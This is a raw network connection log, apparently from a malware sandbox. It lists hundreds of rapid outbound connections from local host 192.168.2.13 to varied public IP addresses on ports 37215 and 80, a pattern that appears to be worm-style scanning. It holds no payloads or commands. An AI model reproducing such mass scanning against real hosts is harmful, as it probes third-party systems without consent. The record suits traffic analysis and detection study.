Mar 21, 2024 05:16:56.362562895 CET	47442	37215	192.168.2.13	156.75.184.151
Mar 21, 2024 05:16:56.362607002 CET	47442	37215	192.168.2.13	156.59.247.127
Mar 21, 2024 05:16:56.362607002 CET	47442	37215	192.168.2.13	156.191.9.0
Mar 21, 2024 05:16:56.362622023 CET	47442	37215	192.168.2.13	156.156.18.81
Mar 21, 2024 05:16:56.362623930 CET	47442	37215	192.168.2.13	156.71.57.132
Mar 21, 2024 05:16:56.362642050 CET	47442	37215	192.168.2.13	156.182.247.4
Mar 21, 2024 05:16:56.362652063 CET	47442	37215	192.168.2.13	156.202.252.187
Mar 21, 2024 05:16:56.362653017 CET	47442	37215	192.168.2.13	156.133.2.174
Mar 21, 2024 05:16:56.362674952 CET	47442	37215	192.168.2.13	156.48.15.36
Mar 21, 2024 05:16:56.362675905 CET	47442	37215	192.168.2.13	156.53.11.156
Mar 21, 2024 05:16:56.362696886 CET	47442	37215	192.168.2.13	156.188.93.105
Mar 21, 2024 05:16:56.362696886 CET	47442	37215	192.168.2.13	156.32.186.88
Mar 21, 2024 05:16:56.362720966 CET	47442	37215	192.168.2.13	156.83.58.105
Mar 21, 2024 05:16:56.362757921 CET	47442	37215	192.168.2.13	156.252.129.135
Mar 21, 2024 05:16:56.362768888 CET	47442	37215	192.168.2.13	156.212.179.102
Mar 21, 2024 05:16:56.362768888 CET	47442	37215	192.168.2.13	156.230.80.219
Mar 21, 2024 05:16:56.362768888 CET	47442	37215	192.168.2.13	156.41.129.220
Mar 21, 2024 05:16:56.362771034 CET	47442	37215	192.168.2.13	156.226.212.238
Mar 21, 2024 05:16:56.362804890 CET	47442	37215	192.168.2.13	156.187.86.82
Mar 21, 2024 05:16:56.362812996 CET	47442	37215	192.168.2.13	156.195.243.119
Mar 21, 2024 05:16:56.362812996 CET	47442	37215	192.168.2.13	156.176.65.238
Mar 21, 2024 05:16:56.362816095 CET	47442	37215	192.168.2.13	156.101.100.220
Mar 21, 2024 05:16:56.362838030 CET	47442	37215	192.168.2.13	156.37.115.51
Mar 21, 2024 05:16:56.362857103 CET	47442	37215	192.168.2.13	156.77.184.43
Mar 21, 2024 05:16:56.362894058 CET	47442	37215	192.168.2.13	156.28.29.171
Mar 21, 2024 05:16:56.362899065 CET	47442	37215	192.168.2.13	156.17.97.164
Mar 21, 2024 05:16:56.362910986 CET	47442	37215	192.168.2.13	156.247.96.41
Mar 21, 2024 05:16:56.362915039 CET	47442	37215	192.168.2.13	156.194.130.124
Mar 21, 2024 05:16:56.362936020 CET	47442	37215	192.168.2.13	156.152.103.89
Mar 21, 2024 05:16:56.362951994 CET	47442	37215	192.168.2.13	156.195.171.17
Mar 21, 2024 05:16:56.413898945 CET	48978	80	192.168.2.13	88.200.172.63
Mar 21, 2024 05:16:56.413908005 CET	48978	80	192.168.2.13	88.139.31.50
Mar 21, 2024 05:16:56.413908005 CET	48978	80	192.168.2.13	88.213.167.50
Mar 21, 2024 05:16:56.413914919 CET	48978	80	192.168.2.13	88.205.238.185
Mar 21, 2024 05:16:56.413913965 CET	48978	80	192.168.2.13	88.251.9.78
Mar 21, 2024 05:16:56.413949966 CET	48978	80	192.168.2.13	88.86.115.154
Mar 21, 2024 05:16:56.413964033 CET	48978	80	192.168.2.13	88.198.209.42
Mar 21, 2024 05:16:56.413984060 CET	48978	80	192.168.2.13	88.186.54.120
Mar 21, 2024 05:16:56.413995028 CET	48978	80	192.168.2.13	88.53.172.135
Mar 21, 2024 05:16:56.414016962 CET	48978	80	192.168.2.13	88.211.41.152
Mar 21, 2024 05:16:56.414027929 CET	48978	80	192.168.2.13	88.241.23.87
Mar 21, 2024 05:16:56.414046049 CET	48978	80	192.168.2.13	88.189.96.1
Mar 21, 2024 05:16:56.414046049 CET	48978	80	192.168.2.13	88.14.78.126
Mar 21, 2024 05:16:56.414048910 CET	48978	80	192.168.2.13	88.243.143.161
Mar 21, 2024 05:16:56.414092064 CET	48978	80	192.168.2.13	88.198.87.57
Mar 21, 2024 05:16:56.414108992 CET	48978	80	192.168.2.13	88.93.164.196
Mar 21, 2024 05:16:56.414118052 CET	48978	80	192.168.2.13	88.151.59.192
Mar 21, 2024 05:16:56.414156914 CET	48978	80	192.168.2.13	88.96.207.23
Mar 21, 2024 05:16:56.414180040 CET	48978	80	192.168.2.13	88.22.198.199
Mar 21, 2024 05:16:56.414189100 CET	48978	80	192.168.2.13	88.98.84.177
Mar 21, 2024 05:16:56.414215088 CET	48978	80	192.168.2.13	88.13.183.211
Mar 21, 2024 05:16:56.414216995 CET	48978	80	192.168.2.13	88.77.237.11
Mar 21, 2024 05:16:56.414237022 CET	48978	80	192.168.2.13	88.158.128.127
Mar 21, 2024 05:16:56.414372921 CET	48978	80	192.168.2.13	88.134.181.84
Mar 21, 2024 05:16:56.414372921 CET	48978	80	192.168.2.13	88.167.53.248
Mar 21, 2024 05:16:56.414376020 CET	48978	80	192.168.2.13	88.10.123.213
Mar 21, 2024 05:16:56.414376020 CET	48978	80	192.168.2.13	88.36.189.229
Mar 21, 2024 05:16:56.414376974 CET	48978	80	192.168.2.13	88.106.209.61
Mar 21, 2024 05:16:56.414376974 CET	48978	80	192.168.2.13	88.244.197.76
Mar 21, 2024 05:16:56.414376974 CET	48978	80	192.168.2.13	88.170.8.65
Mar 21, 2024 05:16:56.414407015 CET	48978	80	192.168.2.13	88.170.69.240
Mar 21, 2024 05:16:56.414416075 CET	48978	80	192.168.2.13	88.40.248.190
Mar 21, 2024 05:16:56.414428949 CET	48978	80	192.168.2.13	88.97.132.29
Mar 21, 2024 05:16:56.414428949 CET	48978	80	192.168.2.13	88.35.254.121
Mar 21, 2024 05:16:56.414433956 CET	48978	80	192.168.2.13	88.195.238.155
Mar 21, 2024 05:16:56.414444923 CET	48978	80	192.168.2.13	88.16.34.231
Mar 21, 2024 05:16:56.414470911 CET	48978	80	192.168.2.13	88.63.92.125
Mar 21, 2024 05:16:56.414484978 CET	48978	80	192.168.2.13	88.112.179.110
Mar 21, 2024 05:16:56.414488077 CET	48978	80	192.168.2.13	88.175.92.83
Mar 21, 2024 05:16:56.414494038 CET	48978	80	192.168.2.13	88.140.244.14
Mar 21, 2024 05:16:56.414587975 CET	48978	80	192.168.2.13	88.140.250.255
Mar 21, 2024 05:16:56.414613962 CET	48978	80	192.168.2.13	88.129.153.239
Mar 21, 2024 05:16:56.414619923 CET	48978	80	192.168.2.13	88.106.132.68
Mar 21, 2024 05:16:56.414624929 CET	48978	80	192.168.2.13	88.65.37.124
Mar 21, 2024 05:16:56.414624929 CET	48978	80	192.168.2.13	88.232.8.180
Mar 21, 2024 05:16:56.414627075 CET	48978	80	192.168.2.13	88.205.35.138
Mar 21, 2024 05:16:56.414637089 CET	48978	80	192.168.2.13	88.240.70.175
Mar 21, 2024 05:16:56.414638996 CET	48978	80	192.168.2.13	88.196.87.142
Mar 21, 2024 05:16:56.414664030 CET	48978	80	192.168.2.13	88.177.71.112
Mar 21, 2024 05:16:56.414664984 CET	48978	80	192.168.2.13	88.45.150.208
Mar 21, 2024 05:16:56.414664984 CET	48978	80	192.168.2.13	88.66.245.212
Mar 21, 2024 05:16:56.414670944 CET	48978	80	192.168.2.13	88.146.5.180
Mar 21, 2024 05:16:56.414706945 CET	48978	80	192.168.2.13	88.185.165.232
Mar 21, 2024 05:16:56.414709091 CET	48978	80	192.168.2.13	88.116.192.106
Mar 21, 2024 05:16:56.414709091 CET	48978	80	192.168.2.13	88.32.210.190
Mar 21, 2024 05:16:56.414792061 CET	48978	80	192.168.2.13	88.197.250.154
Mar 21, 2024 05:16:56.414794922 CET	48978	80	192.168.2.13	88.150.66.176
Mar 21, 2024 05:16:56.414808035 CET	48978	80	192.168.2.13	88.32.25.152
Mar 21, 2024 05:16:56.414827108 CET	48978	80	192.168.2.13	88.1.130.190
Mar 21, 2024 05:16:56.414827108 CET	48978	80	192.168.2.13	88.22.104.97
Mar 21, 2024 05:16:56.414827108 CET	48978	80	192.168.2.13	88.188.24.146
Mar 21, 2024 05:16:56.414830923 CET	48978	80	192.168.2.13	88.71.89.73
Mar 21, 2024 05:16:56.414835930 CET	48978	80	192.168.2.13	88.218.102.38
Mar 21, 2024 05:16:56.414835930 CET	48978	80	192.168.2.13	88.11.70.134
Mar 21, 2024 05:16:56.414846897 CET	48978	80	192.168.2.13	88.187.230.118
Mar 21, 2024 05:16:56.414846897 CET	48978	80	192.168.2.13	88.131.94.168
Mar 21, 2024 05:16:56.414872885 CET	48978	80	192.168.2.13	88.205.119.213
Mar 21, 2024 05:16:56.414889097 CET	48978	80	192.168.2.13	88.238.185.38
Mar 21, 2024 05:16:56.414890051 CET	48978	80	192.168.2.13	88.213.44.198
Mar 21, 2024 05:16:56.414890051 CET	48978	80	192.168.2.13	88.145.251.162
Mar 21, 2024 05:16:56.414891005 CET	48978	80	192.168.2.13	88.170.156.35
Mar 21, 2024 05:16:56.414896965 CET	48978	80	192.168.2.13	88.177.116.167
Mar 21, 2024 05:16:56.414932966 CET	48978	80	192.168.2.13	88.212.49.75
Mar 21, 2024 05:16:56.414949894 CET	48978	80	192.168.2.13	88.10.15.130
Mar 21, 2024 05:16:56.414952040 CET	48978	80	192.168.2.13	88.203.245.174
Mar 21, 2024 05:16:56.414969921 CET	48978	80	192.168.2.13	88.91.157.134
Mar 21, 2024 05:16:56.415061951 CET	48978	80	192.168.2.13	88.63.163.123
Mar 21, 2024 05:16:56.415061951 CET	48978	80	192.168.2.13	88.134.51.180
Mar 21, 2024 05:16:56.415061951 CET	48978	80	192.168.2.13	88.26.70.129
Mar 21, 2024 05:16:56.415134907 CET	48978	80	192.168.2.13	88.79.128.56
Mar 21, 2024 05:16:56.415136099 CET	48978	80	192.168.2.13	88.1.41.181
Mar 21, 2024 05:16:56.415136099 CET	48978	80	192.168.2.13	88.81.108.53
Mar 21, 2024 05:16:56.415150881 CET	48978	80	192.168.2.13	88.91.126.22
Mar 21, 2024 05:16:56.415150881 CET	48978	80	192.168.2.13	88.30.91.239
Mar 21, 2024 05:16:56.415150881 CET	48978	80	192.168.2.13	88.252.44.159
Mar 21, 2024 05:16:56.415152073 CET	48978	80	192.168.2.13	88.254.138.220
Mar 21, 2024 05:16:56.415153980 CET	48978	80	192.168.2.13	88.184.45.240
Mar 21, 2024 05:16:56.415153980 CET	48978	80	192.168.2.13	88.160.208.131
Mar 21, 2024 05:16:56.415153980 CET	48978	80	192.168.2.13	88.228.167.82
Mar 21, 2024 05:16:56.415153980 CET	48978	80	192.168.2.13	88.89.218.86
Mar 21, 2024 05:16:56.415158033 CET	48978	80	192.168.2.13	88.133.100.161
Mar 21, 2024 05:16:56.415188074 CET	48978	80	192.168.2.13	88.166.143.239
Mar 21, 2024 05:16:56.415256977 CET	48978	80	192.168.2.13	88.118.243.38
Mar 21, 2024 05:16:56.415282011 CET	48978	80	192.168.2.13	88.208.111.183
Mar 21, 2024 05:16:56.415282011 CET	48978	80	192.168.2.13	88.74.136.184
Mar 21, 2024 05:16:56.415282965 CET	48978	80	192.168.2.13	88.187.136.147
Mar 21, 2024 05:16:56.415283918 CET	48978	80	192.168.2.13	88.98.121.244
Mar 21, 2024 05:16:56.415286064 CET	48978	80	192.168.2.13	88.211.6.164
Mar 21, 2024 05:16:56.415297985 CET	48978	80	192.168.2.13	88.30.215.54
Mar 21, 2024 05:16:56.415297985 CET	48978	80	192.168.2.13	88.80.52.162
Mar 21, 2024 05:16:56.415316105 CET	48978	80	192.168.2.13	88.8.115.2
Mar 21, 2024 05:16:56.415359974 CET	48978	80	192.168.2.13	88.209.246.191
Mar 21, 2024 05:16:56.415359974 CET	48978	80	192.168.2.13	88.54.167.61
Mar 21, 2024 05:16:56.415363073 CET	48978	80	192.168.2.13	88.115.138.128
Mar 21, 2024 05:16:56.415364027 CET	48978	80	192.168.2.13	88.23.82.102
Mar 21, 2024 05:16:56.415430069 CET	48978	80	192.168.2.13	88.183.209.23
Mar 21, 2024 05:16:56.415430069 CET	48978	80	192.168.2.13	88.215.165.211
Mar 21, 2024 05:16:56.415435076 CET	48978	80	192.168.2.13	88.116.74.0
Mar 21, 2024 05:16:56.415435076 CET	48978	80	192.168.2.13	88.86.191.231
Mar 21, 2024 05:16:56.415488005 CET	48978	80	192.168.2.13	88.40.144.224
Mar 21, 2024 05:16:56.415488958 CET	48978	80	192.168.2.13	88.123.88.62
Mar 21, 2024 05:16:56.415570974 CET	48978	80	192.168.2.13	88.213.248.94
Mar 21, 2024 05:16:56.415571928 CET	48978	80	192.168.2.13	88.247.253.65
Mar 21, 2024 05:16:56.415571928 CET	48978	80	192.168.2.13	88.219.13.245
Mar 21, 2024 05:16:56.415599108 CET	48978	80	192.168.2.13	88.25.35.39
Mar 21, 2024 05:16:56.415600061 CET	48978	80	192.168.2.13	88.101.31.161
Mar 21, 2024 05:16:56.415610075 CET	48978	80	192.168.2.13	88.175.7.121
Mar 21, 2024 05:16:56.415610075 CET	48978	80	192.168.2.13	88.161.72.91
Mar 21, 2024 05:16:56.415611982 CET	48978	80	192.168.2.13	88.131.190.132
Mar 21, 2024 05:16:56.415611982 CET	48978	80	192.168.2.13	88.119.162.144
Mar 21, 2024 05:16:56.415616035 CET	48978	80	192.168.2.13	88.10.159.104
Mar 21, 2024 05:16:56.415616035 CET	48978	80	192.168.2.13	88.90.158.106
Mar 21, 2024 05:16:56.415616989 CET	48978	80	192.168.2.13	88.124.162.53
Mar 21, 2024 05:16:56.415632010 CET	48978	80	192.168.2.13	88.155.97.68
Mar 21, 2024 05:16:56.415679932 CET	48978	80	192.168.2.13	88.250.46.124
Mar 21, 2024 05:16:56.415679932 CET	48978	80	192.168.2.13	88.64.105.246
Mar 21, 2024 05:16:56.415695906 CET	48978	80	192.168.2.13	88.5.225.100
Mar 21, 2024 05:16:56.415703058 CET	48978	80	192.168.2.13	88.4.124.162
Mar 21, 2024 05:16:56.415703058 CET	48978	80	192.168.2.13	88.191.185.36
Mar 21, 2024 05:16:56.415759087 CET	48978	80	192.168.2.13	88.97.173.220
Mar 21, 2024 05:16:56.415769100 CET	48978	80	192.168.2.13	88.218.19.94
Mar 21, 2024 05:16:56.415776968 CET	48978	80	192.168.2.13	88.125.121.90
Mar 21, 2024 05:16:56.415874958 CET	48978	80	192.168.2.13	88.36.249.134
Mar 21, 2024 05:16:56.415889978 CET	48978	80	192.168.2.13	88.196.29.225
Mar 21, 2024 05:16:56.415993929 CET	48978	80	192.168.2.13	88.39.255.148
Mar 21, 2024 05:16:56.415993929 CET	48978	80	192.168.2.13	88.103.212.0
Mar 21, 2024 05:16:56.415993929 CET	48978	80	192.168.2.13	88.47.209.241
Mar 21, 2024 05:16:56.416002989 CET	48978	80	192.168.2.13	88.72.206.143
Mar 21, 2024 05:16:56.416002989 CET	48978	80	192.168.2.13	88.48.112.226
Mar 21, 2024 05:16:56.416002989 CET	48978	80	192.168.2.13	88.103.110.245
Mar 21, 2024 05:16:56.416008949 CET	48978	80	192.168.2.13	88.194.246.100
Mar 21, 2024 05:16:56.416016102 CET	48978	80	192.168.2.13	88.254.63.13
Mar 21, 2024 05:16:56.416016102 CET	48978	80	192.168.2.13	88.249.139.147
Mar 21, 2024 05:16:56.416049004 CET	48978	80	192.168.2.13	88.15.212.139
Mar 21, 2024 05:16:56.416059017 CET	48978	80	192.168.2.13	88.41.213.149
Mar 21, 2024 05:16:56.416059017 CET	48978	80	192.168.2.13	88.255.223.160
Mar 21, 2024 05:16:56.416073084 CET	48978	80	192.168.2.13	88.238.112.132
Mar 21, 2024 05:16:56.416094065 CET	48978	80	192.168.2.13	88.33.165.157
Mar 21, 2024 05:16:56.416157961 CET	48978	80	192.168.2.13	88.63.137.150
Mar 21, 2024 05:16:56.416158915 CET	48978	80	192.168.2.13	88.41.234.169
Mar 21, 2024 05:16:56.416158915 CET	48978	80	192.168.2.13	88.149.90.39
Mar 21, 2024 05:16:56.416213036 CET	48978	80	192.168.2.13	88.30.130.2
Mar 21, 2024 05:16:56.416225910 CET	48978	80	192.168.2.13	88.146.2.5
Mar 21, 2024 05:16:56.416227102 CET	48978	80	192.168.2.13	88.233.206.230
Mar 21, 2024 05:16:56.416227102 CET	48978	80	192.168.2.13	88.153.66.23
Mar 21, 2024 05:16:56.416234970 CET	48978	80	192.168.2.13	88.47.75.58
Mar 21, 2024 05:16:56.416273117 CET	48978	80	192.168.2.13	88.138.244.109
Mar 21, 2024 05:16:56.416286945 CET	48978	80	192.168.2.13	88.150.130.216
Mar 21, 2024 05:16:56.416306019 CET	48978	80	192.168.2.13	88.80.99.130
Mar 21, 2024 05:16:56.416306019 CET	48978	80	192.168.2.13	88.183.211.235
Mar 21, 2024 05:16:56.423928976 CET	45650	80	192.168.2.13	178.227.31.50
Mar 21, 2024 05:16:56.424005032 CET	45650	80	192.168.2.13	181.160.42.117
Mar 21, 2024 05:16:56.424015045 CET	45650	80	192.168.2.13	200.189.167.50
Mar 21, 2024 05:16:56.424030066 CET	45650	80	192.168.2.13	83.5.247.48
Mar 21, 2024 05:16:56.424041986 CET	45650	80	192.168.2.13	178.124.184.154
Mar 21, 2024 05:16:56.424072027 CET	45650	80	192.168.2.13	83.89.73.135
Mar 21, 2024 05:16:56.424073935 CET	45650	80	192.168.2.13	200.141.54.134
Mar 21, 2024 05:16:56.424101114 CET	45650	80	192.168.2.13	86.214.32.2
Mar 21, 2024 05:16:56.424168110 CET	45650	80	192.168.2.13	86.182.80.36
Mar 21, 2024 05:16:56.424169064 CET	45650	80	192.168.2.13	206.49.118.176
Mar 21, 2024 05:16:56.424177885 CET	45650	80	192.168.2.13	80.6.135.80
Mar 21, 2024 05:16:56.424185038 CET	45650	80	192.168.2.13	181.244.11.128
Mar 21, 2024 05:16:56.424206972 CET	45650	80	192.168.2.13	206.42.81.46
Mar 21, 2024 05:16:56.424210072 CET	45650	80	192.168.2.13	169.205.59.166
Mar 21, 2024 05:16:56.424227953 CET	45650	80	192.168.2.13	178.126.73.166
Mar 21, 2024 05:16:56.424237013 CET	45650	80	192.168.2.13	200.212.142.209
Mar 21, 2024 05:16:56.424242973 CET	45650	80	192.168.2.13	169.154.246.104
Mar 21, 2024 05:16:56.424246073 CET	45650	80	192.168.2.13	200.108.214.44
Mar 21, 2024 05:16:56.424268007 CET	45650	80	192.168.2.13	80.133.187.239
Mar 21, 2024 05:16:56.424273968 CET	45650	80	192.168.2.13	82.79.222.27
Mar 21, 2024 05:16:56.424274921 CET	45650	80	192.168.2.13	86.229.110.224
Mar 21, 2024 05:16:56.424274921 CET	45650	80	192.168.2.13	200.120.208.209
Mar 21, 2024 05:16:56.424279928 CET	45650	80	192.168.2.13	181.56.112.182
Mar 21, 2024 05:16:56.424287081 CET	45650	80	192.168.2.13	206.197.108.207
Mar 21, 2024 05:16:56.424289942 CET	45650	80	192.168.2.13	86.32.31.249
Mar 21, 2024 05:16:56.424312115 CET	45650	80	192.168.2.13	86.199.107.73
Mar 21, 2024 05:16:56.424334049 CET	45650	80	192.168.2.13	178.155.2.33
Mar 21, 2024 05:16:56.424334049 CET	45650	80	192.168.2.13	181.113.20.198
Mar 21, 2024 05:16:56.424339056 CET	45650	80	192.168.2.13	169.147.14.200
Mar 21, 2024 05:16:56.424376965 CET	45650	80	192.168.2.13	86.211.89.149
Mar 21, 2024 05:16:56.424379110 CET	45650	80	192.168.2.13	83.87.227.42
Mar 21, 2024 05:16:56.424379110 CET	45650	80	192.168.2.13	86.111.171.213
Mar 21, 2024 05:16:56.424379110 CET	45650	80	192.168.2.13	206.36.62.111
Mar 21, 2024 05:16:56.424386978 CET	45650	80	192.168.2.13	181.156.53.221
Mar 21, 2024 05:16:56.424388885 CET	45650	80	192.168.2.13	82.253.88.112
Mar 21, 2024 05:16:56.424388885 CET	45650	80	192.168.2.13	206.54.18.95
Mar 21, 2024 05:16:56.424393892 CET	45650	80	192.168.2.13	178.180.248.88
Mar 21, 2024 05:16:56.424402952 CET	45650	80	192.168.2.13	80.89.248.45
Mar 21, 2024 05:16:56.424411058 CET	45650	80	192.168.2.13	86.130.191.125
Mar 21, 2024 05:16:56.424411058 CET	45650	80	192.168.2.13	200.168.201.141
Mar 21, 2024 05:16:56.424411058 CET	45650	80	192.168.2.13	206.206.93.250
Mar 21, 2024 05:16:56.424416065 CET	45650	80	192.168.2.13	178.173.109.110
Mar 21, 2024 05:16:56.424416065 CET	45650	80	192.168.2.13	80.135.36.161
Mar 21, 2024 05:16:56.424424887 CET	45650	80	192.168.2.13	213.109.39.225
Mar 21, 2024 05:16:56.424433947 CET	45650	80	192.168.2.13	206.249.58.216
Mar 21, 2024 05:16:56.424438953 CET	45650	80	192.168.2.13	181.249.213.107
Mar 21, 2024 05:16:56.424438953 CET	45650	80	192.168.2.13	82.235.189.20
Mar 21, 2024 05:16:56.424453020 CET	45650	80	192.168.2.13	213.233.28.212
Mar 21, 2024 05:16:56.424460888 CET	45650	80	192.168.2.13	83.232.103.132
Mar 21, 2024 05:16:56.424460888 CET	45650	80	192.168.2.13	169.236.2.140
Mar 21, 2024 05:16:56.424477100 CET	45650	80	192.168.2.13	200.85.166.182
Mar 21, 2024 05:16:56.424484968 CET	45650	80	192.168.2.13	178.231.31.173
Mar 21, 2024 05:16:56.424484968 CET	45650	80	192.168.2.13	80.190.14.249
Mar 21, 2024 05:16:56.424484968 CET	45650	80	192.168.2.13	169.130.186.152
Mar 21, 2024 05:16:56.424484968 CET	45650	80	192.168.2.13	200.208.223.116
Mar 21, 2024 05:16:56.424513102 CET	45650	80	192.168.2.13	178.101.197.136
Mar 21, 2024 05:16:56.424521923 CET	45650	80	192.168.2.13	86.244.212.157
Mar 21, 2024 05:16:56.424521923 CET	45650	80	192.168.2.13	200.62.85.195
Mar 21, 2024 05:16:56.424535990 CET	45650	80	192.168.2.13	83.106.248.120
Mar 21, 2024 05:16:56.424556017 CET	45650	80	192.168.2.13	80.200.134.7
Mar 21, 2024 05:16:56.424556971 CET	45650	80	192.168.2.13	83.61.212.200
Mar 21, 2024 05:16:56.424557924 CET	45650	80	192.168.2.13	169.131.79.234
Mar 21, 2024 05:16:56.424576044 CET	45650	80	192.168.2.13	200.34.253.67
Mar 21, 2024 05:16:56.424576998 CET	45650	80	192.168.2.13	83.78.183.52
Mar 21, 2024 05:16:56.424578905 CET	45650	80	192.168.2.13	213.91.134.240
Mar 21, 2024 05:16:56.424578905 CET	45650	80	192.168.2.13	206.71.46.49
Mar 21, 2024 05:16:56.424580097 CET	45650	80	192.168.2.13	200.13.49.102
Mar 21, 2024 05:16:56.424583912 CET	45650	80	192.168.2.13	181.82.119.101
Mar 21, 2024 05:16:56.424585104 CET	45650	80	192.168.2.13	178.171.192.77
Mar 21, 2024 05:16:56.424596071 CET	45650	80	192.168.2.13	181.43.226.102
Mar 21, 2024 05:16:56.424602032 CET	45650	80	192.168.2.13	213.109.210.171
Mar 21, 2024 05:16:56.424619913 CET	45650	80	192.168.2.13	83.21.52.148
Mar 21, 2024 05:16:56.424622059 CET	45650	80	192.168.2.13	83.101.86.250
Mar 21, 2024 05:16:56.424627066 CET	45650	80	192.168.2.13	86.206.222.27
Mar 21, 2024 05:16:56.424627066 CET	45650	80	192.168.2.13	213.73.133.78
Mar 21, 2024 05:16:56.424639940 CET	45650	80	192.168.2.13	181.114.17.4
Mar 21, 2024 05:16:56.424649000 CET	45650	80	192.168.2.13	213.126.23.31
Mar 21, 2024 05:16:56.424649000 CET	45650	80	192.168.2.13	213.218.147.21
Mar 21, 2024 05:16:56.424659014 CET	45650	80	192.168.2.13	178.173.46.253
Mar 21, 2024 05:16:56.424666882 CET	45650	80	192.168.2.13	169.29.103.36
Mar 21, 2024 05:16:56.424681902 CET	45650	80	192.168.2.13	181.111.122.105
Mar 21, 2024 05:16:56.424695969 CET	45650	80	192.168.2.13	200.254.217.0
Mar 21, 2024 05:16:56.424702883 CET	45650	80	192.168.2.13	82.89.210.19
Mar 21, 2024 05:16:56.424715042 CET	45650	80	192.168.2.13	82.152.90.100
Mar 21, 2024 05:16:56.424738884 CET	45650	80	192.168.2.13	82.135.25.45
Mar 21, 2024 05:16:56.424760103 CET	45650	80	192.168.2.13	213.53.42.202
Mar 21, 2024 05:16:56.424760103 CET	45650	80	192.168.2.13	178.39.195.84
Mar 21, 2024 05:16:56.424783945 CET	45650	80	192.168.2.13	206.240.93.211
Mar 21, 2024 05:16:56.424787045 CET	45650	80	192.168.2.13	80.78.46.123
Mar 21, 2024 05:16:56.424791098 CET	45650	80	192.168.2.13	213.185.139.180
Mar 21, 2024 05:16:56.424796104 CET	45650	80	192.168.2.13	86.147.136.36
Mar 21, 2024 05:16:56.424802065 CET	45650	80	192.168.2.13	200.47.93.8
Mar 21, 2024 05:16:56.424818039 CET	45650	80	192.168.2.13	169.85.58.34
Mar 21, 2024 05:16:56.424827099 CET	45650	80	192.168.2.13	206.186.91.255
Mar 21, 2024 05:16:56.424827099 CET	45650	80	192.168.2.13	82.15.207.165
Mar 21, 2024 05:16:56.424848080 CET	45650	80	192.168.2.13	86.2.197.15
Mar 21, 2024 05:16:56.424849987 CET	45650	80	192.168.2.13	213.217.40.174
Mar 21, 2024 05:16:56.424860954 CET	45650	80	192.168.2.13	200.194.139.83
Mar 21, 2024 05:16:56.424860954 CET	45650	80	192.168.2.13	200.176.192.45
Mar 21, 2024 05:16:56.424861908 CET	45650	80	192.168.2.13	206.205.169.50
Mar 21, 2024 05:16:56.424880028 CET	45650	80	192.168.2.13	169.128.25.17
Mar 21, 2024 05:16:56.424880028 CET	45650	80	192.168.2.13	213.48.134.142
Mar 21, 2024 05:16:56.424880028 CET	45650	80	192.168.2.13	82.77.100.17
Mar 21, 2024 05:16:56.424884081 CET	45650	80	192.168.2.13	83.224.1.88
Mar 21, 2024 05:16:56.424887896 CET	45650	80	192.168.2.13	181.254.68.227
Mar 21, 2024 05:16:56.424901962 CET	45650	80	192.168.2.13	181.26.27.114
Mar 21, 2024 05:16:56.424907923 CET	45650	80	192.168.2.13	86.111.20.167
Mar 21, 2024 05:16:56.424909115 CET	45650	80	192.168.2.13	181.59.3.253
Mar 21, 2024 05:16:56.424910069 CET	45650	80	192.168.2.13	80.25.121.0
Mar 21, 2024 05:16:56.424922943 CET	45650	80	192.168.2.13	86.137.10.96
Mar 21, 2024 05:16:56.424923897 CET	45650	80	192.168.2.13	200.82.154.48
Mar 21, 2024 05:16:56.424923897 CET	45650	80	192.168.2.13	80.40.148.194
Mar 21, 2024 05:16:56.424927950 CET	45650	80	192.168.2.13	169.48.235.105
Mar 21, 2024 05:16:56.424927950 CET	45650	80	192.168.2.13	86.115.80.227
Mar 21, 2024 05:16:56.424947977 CET	45650	80	192.168.2.13	80.237.56.32
Mar 21, 2024 05:16:56.424952030 CET	45650	80	192.168.2.13	200.202.24.223
Mar 21, 2024 05:16:56.424959898 CET	45650	80	192.168.2.13	206.23.182.55
Mar 21, 2024 05:16:56.424959898 CET	45650	80	192.168.2.13	213.224.51.117
Mar 21, 2024 05:16:56.424964905 CET	45650	80	192.168.2.13	83.52.142.212
Mar 21, 2024 05:16:56.424968004 CET	45650	80	192.168.2.13	206.58.216.238
Mar 21, 2024 05:16:56.424969912 CET	45650	80	192.168.2.13	206.89.158.250
Mar 21, 2024 05:16:56.424971104 CET	45650	80	192.168.2.13	80.245.152.138
Mar 21, 2024 05:16:56.424983025 CET	45650	80	192.168.2.13	169.218.42.232
Mar 21, 2024 05:16:56.424988031 CET	45650	80	192.168.2.13	80.226.203.189
Mar 21, 2024 05:16:56.424989939 CET	45650	80	192.168.2.13	181.240.59.63
Mar 21, 2024 05:16:56.424990892 CET	45650	80	192.168.2.13	181.177.62.62
Mar 21, 2024 05:16:56.424989939 CET	45650	80	192.168.2.13	80.223.8.40
Mar 21, 2024 05:16:56.425004959 CET	45650	80	192.168.2.13	83.224.29.43
Mar 21, 2024 05:16:56.425008059 CET	45650	80	192.168.2.13	206.184.107.13
Mar 21, 2024 05:16:56.425019979 CET	45650	80	192.168.2.13	181.134.255.42
Mar 21, 2024 05:16:56.425020933 CET	45650	80	192.168.2.13	181.37.227.167
Mar 21, 2024 05:16:56.425029993 CET	45650	80	192.168.2.13	200.9.240.131
Mar 21, 2024 05:16:56.425056934 CET	45650	80	192.168.2.13	83.95.101.246
Mar 21, 2024 05:16:56.425061941 CET	45650	80	192.168.2.13	178.244.245.48
Mar 21, 2024 05:16:56.425061941 CET	45650	80	192.168.2.13	200.239.187.39
Mar 21, 2024 05:16:56.425079107 CET	45650	80	192.168.2.13	181.101.41.37
Mar 21, 2024 05:16:56.425081015 CET	45650	80	192.168.2.13	200.210.53.227
Mar 21, 2024 05:16:56.425085068 CET	45650	80	192.168.2.13	178.244.147.5
Mar 21, 2024 05:16:56.425120115 CET	45650	80	192.168.2.13	206.244.53.49
Mar 21, 2024 05:16:56.425128937 CET	45650	80	192.168.2.13	82.48.90.130
Mar 21, 2024 05:16:56.425141096 CET	45650	80	192.168.2.13	86.154.206.19
Mar 21, 2024 05:16:56.425143003 CET	45650	80	192.168.2.13	178.122.253.48
Mar 21, 2024 05:16:56.425152063 CET	45650	80	192.168.2.13	80.90.96.104
Mar 21, 2024 05:16:56.425152063 CET	45650	80	192.168.2.13	169.76.255.137
Mar 21, 2024 05:16:56.425153017 CET	45650	80	192.168.2.13	213.161.173.196
Mar 21, 2024 05:16:56.425153017 CET	45650	80	192.168.2.13	206.91.87.126
Mar 21, 2024 05:16:56.425154924 CET	45650	80	192.168.2.13	206.251.248.19
Mar 21, 2024 05:16:56.425183058 CET	45650	80	192.168.2.13	206.140.24.153
Mar 21, 2024 05:16:56.425194979 CET	45650	80	192.168.2.13	200.100.83.21
Mar 21, 2024 05:16:56.425204039 CET	45650	80	192.168.2.13	178.94.22.12
